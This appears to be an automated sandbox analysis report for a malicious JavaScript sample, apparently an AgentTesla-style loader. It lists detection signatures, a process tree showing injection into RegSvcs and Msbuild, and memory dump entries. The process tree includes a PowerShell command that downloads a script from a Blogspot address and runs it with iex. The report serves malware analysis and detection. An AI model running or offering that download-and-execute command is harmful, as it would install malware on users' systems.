Analysis

  • max time kernel
    135s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/05/2024, 01:39

General

  • Target
    b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8.js
  • Size 1.8MB
  • Sample240507-b2x14aff24
  • SHA256 b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs
  • Detects executables packed with Agile.NET / CliSecure 2 IoCs
  • Detects executables packed with ConfuserEx Mod 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:928
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3064
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3572
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 792
          4⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4360
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3812
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 784
          4⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:536
      • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:868
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 792
          4⤵
          • Drops file in Windows directory
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4684
      • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2396
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
          dw20.exe -x -s 784
          4⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4652

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_xmlr4nwu.wcf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xmlr4nwu.wcf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/928-21-0x000001907F6B0000-0x000001907F6B8000-memory.dmp

        memory/928-19-0x000001907F690000-0x000001907F698000-memory.dmp

        memory/928-11-0x00007FFE63300000-0x00007FFE63DC1000-memory.dmp

        memory/928-12-0x00007FFE63300000-0x00007FFE63DC1000-memory.dmp

        memory/928-13-0x000001907FC30000-0x000001907FDF2000-memory.dmp

        memory/928-14-0x00007FFE63300000-0x00007FFE63DC1000-memory.dmp

        memory/928-16-0x0000019000050000-0x000001900005E000-memory.dmp

        memory/928-17-0x000001907F6F0000-0x000001907F70A000-memory.dmp

        memory/928-18-0x000001907E020000-0x000001907E02A000-memory.dmp

        memory/928-63-0x00007FFE63303000-0x00007FFE63305000-memory.dmp

        memory/928-20-0x000001907F6A0000-0x000001907F6A8000-memory.dmp

        memory/928-0-0x00007FFE63303000-0x00007FFE63305000-memory.dmp

        memory/928-6-0x000001907F6C0000-0x000001907F6E2000-memory.dmp

        memory/928-29-0x00007FFE63300000-0x00007FFE63DC1000-memory.dmp

        memory/928-65-0x00007FFE63300000-0x00007FFE63DC1000-memory.dmp

        memory/928-64-0x00007FFE63300000-0x00007FFE63DC1000-memory.dmp

        memory/3064-30-0x0000000004A90000-0x0000000004AF6000-memory.dmp

        memory/3064-28-0x0000000000510000-0x0000000000596000-memory.dmp

        memory/3572-62-0x0000000006310000-0x000000000631A000-memory.dmp

        memory/3572-60-0x00000000061B0000-0x000000000624C000-memory.dmp

        memory/3572-61-0x00000000062B0000-0x0000000006300000-memory.dmp

        memory/3572-59-0x0000000005A20000-0x0000000005BE2000-memory.dmp

        memory/3572-35-0x00000000050A0000-0x0000000005644000-memory.dmp

        memory/3572-40-0x0000000004AF0000-0x0000000004B82000-memory.dmp

        memory/3812-25-0x0000000000400000-0x0000000000486000-memory.dmp